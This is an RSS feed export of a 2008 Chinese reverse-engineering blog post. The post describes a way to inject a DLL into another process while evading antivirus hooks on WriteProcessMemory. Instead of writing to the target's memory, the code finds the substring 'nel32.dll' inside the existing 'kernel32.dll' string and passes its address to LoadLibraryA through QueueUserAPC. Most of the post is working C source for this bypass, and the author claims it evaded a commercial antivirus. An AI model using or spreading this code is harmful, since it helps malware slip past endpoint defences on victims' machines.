<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SoftRCE.net &#187; 东邪西毒（VIRII/AV）</title>
	<atom:link href="http://www.softrce.net/archives/category/virus-antivirus/feed" rel="self" type="application/rss+xml" />
	<link>http://www.softrce.net</link>
	<description>Software Reverse Code Engineering</description>
	<lastBuildDate>Tue, 13 Sep 2011 06:58:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>绕过主动防御的代码注入方法一点思考</title>
		<link>http://www.softrce.net/archives/16</link>
		<comments>http://www.softrce.net/archives/16#comments</comments>
		<pubDate>Wed, 22 Oct 2008 03:57:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[东邪西毒（VIRII/AV）]]></category>

		<guid isPermaLink="false">http://174.132.145.120/~crackidz/archives/16</guid>
		<description><![CDATA[<p>&#160;目前大多数的杀软都是hook NtWriteVirtualMemory和NtUserSetWindowsHookAW、NtUserSetWindowsHookE来防止代码注入。关于代码注入Ring3层的方法主要有：远程线程CreateRemoteThread消息钩子SetWindowsHookExRing3 APC QueueUserApc修改线程上下文SetContextThread</p>
]]></description>
			<content:encoded><![CDATA[<p>目前大多数的杀软都是hook NtWriteVirtualMemory和<span style="font-size: 10.5pt">NtUserSetWindowsHookAW、</span><span style="font-size: 10.5pt">NtUserSetWindowsHookE</span>来防止代码注入。</p>
<div>关于代码注入Ring3层的方法主要有：</div>
<ul>
<li>远程线程CreateRemoteThread</li>
<li>消息钩子SetWindowsHookEx</li>
<li>Ring3 APC QueueUserApc</li>
<li>修改线程上下文SetContextThread</li>
</ul>
<div>其中第一种和第三种方法需要传入一个param，但是要求这个param必须在目标进程内存空间，之前的一些方法比较笨重，直接在目标进程VirtualAllocEx内存，然后把希望的参数内容写入这个内存，使用了WriteProcessMemory函数，而这个函数是被hook的，所以杀软可以很容易的拦截代码注入行为。</div>
<div>仔细想想，杀软的这种防御是很失败的！原因是为了要一个param，攻击者完全没有必要做这么大的动作去目标进程内存空间申请内存并写内存，我在思考是否可以不用WriteProcessMemory函数呢？反正我的目的就是得到一个合理的param，并且这个param是在目标进程内存空间即可！<span id="more-16"></span></div>
<div>思考后，原来一切是这么容易啊，哈哈！乐了我半天~~~</div>
<div>举个例子：假设我是这样注入的：</div>
<div>QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;</div>
<div>我想让上面的param的内容是一个“xxx.dll”,就可以了，而且要求这个param是在目标进程内存空间</div>
<div>您想到了么？哈哈</div>
<div>答案：直接在目标进程搜索一个这样的字符串“nel32.dll”就可以啦！因为“kernel32.dll” 这样的字符串是一定存在的，那么为了和“kernel32.dll” 不一样，那就随便使用一下“nel32.dll”，或者“el32.dll”，都是可以的啊！最后在往windows目录下面撂进入一个nel32.dll，这样注入大部分杀软都是不能拦截到的！哈哈！</div>
<div>写了段程序，做了个试验，仅测试了下趋势，完美绕过！其实杀软稍后测试。。。</div>
<div></div>
<div>DWORD EnumThreadandInjectDll(char *processName,HANDLE hProcess, DWORD dwProcessID,TIDLIST *pThreadIdList)<br />
{<br />
TIDLIST *pCurrentTid = pThreadIdList ;</p>
<p>const char szInjectModName[] = “nel32.dll”;<br />
DWORD dwLen = strlen(szInjectModName) ;</p></div>
<div>//////////////////////////////////////////////////////////////////////////<br />
//不写目标进程的内存<br />
//直接在目标进程中搜索出 nel32.dll 这样的字符串 并注入<br />
//////////////////////////////////////////////////////////////////////////<br />
int bufflen=30000;<br />
char *buffer=(char *)malloc(sizeof(char)*bufflen);<br />
DWORD dwNumberOfBytesRead;<br />
DWORD defaultAddress;<br />
//获得该进程的基址<br />
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID) ;<br />
if(!hSnapshot)<br />
{<br />
printf(“CreateToolhelp32Snapshot error!\n”);<br />
return 0;<br />
}<br />
MODULEENTRY32 me = { sizeof(me) };<br />
BOOL fOk =Module32First(hSnapshot,&amp;me);<br />
if(!fOk)<br />
{<br />
printf(“Module32First error!\n”);<br />
return 0;<br />
}<br />
for (; fOk; fOk = Module32Next(hSnapshot,&amp;me))<br />
{<br />
printf(“%s process module name = %s\n”,processName,me.szModule);<br />
// 取得进程模块基址<br />
if(stricmp(me.szModule,processName)==0)<br />
{<br />
defaultAddress=(DWORD)me.modBaseAddr;<br />
printf(“%s process module base = 0x%08X\n”,processName,defaultAddress);<br />
break;<br />
}<br />
}<br />
//搜索<br />
if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&amp;dwNumberOfBytesRead))<br />
{<br />
printf(“ReadProcessMemory error!\n”);<br />
return 0;<br />
}</p>
<p>for(int i=0;i&lt;bufflen-dwLen;i++)<br />
{<br />
if(strnicmp(buffer+i,szInjectModName,dwLen)==0)<br />
{<br />
printf(“found nel32.dll already!&#8230; %s\n”,buffer+i);<br />
while (pCurrentTid)<br />
{<br />
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid-&gt;dwTid) ;</p>
<p>if (hThread != NULL)<br />
{<br />
//<br />
// 注入DLL到指定进程<br />
//<br />
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)(defaultAddress+i)) ;<br />
}</p>
<p>printf(“TID:%d\n”, pCurrentTid-&gt;dwTid) ;<br />
pCurrentTid = pCurrentTid-&gt;pNext ;<br />
}<br />
break;<br />
}<br />
}</p></div>
<div>return 0 ;<br />
}</div>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年05月12日 -- <a href="http://www.softrce.net/archives/312" title="RdpDr.sys Bug Check 0X7E{0xC0000005}">RdpDr.sys Bug Check 0X7E{0xC0000005}</a></li><li>2008年10月15日 -- <a href="http://www.softrce.net/archives/12" title="About Handling Nmi">About Handling Nmi</a></li><li>2010年03月1日 -- <a href="http://www.softrce.net/archives/288" title="Steve Jobs在斯坦福大学毕业典礼上的演讲">Steve Jobs在斯坦福大学毕业典礼上的演讲</a></li><li>2009年05月5日 -- <a href="http://www.softrce.net/archives/126" title="[玩笑]某人不是会坐在被告席上吧？">[玩笑]某人不是会坐在被告席上吧？</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2010年01月12日 -- <a href="http://www.softrce.net/archives/213" title="MS07-014调试手记">MS07-014调试手记</a></li><li>2010年05月7日 -- <a href="http://www.softrce.net/archives/310" title="IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization">IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization</a></li><li>2010年03月11日 -- <a href="http://www.softrce.net/archives/296" title="Think Different">Think Different</a></li><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/14" title="Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/16/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

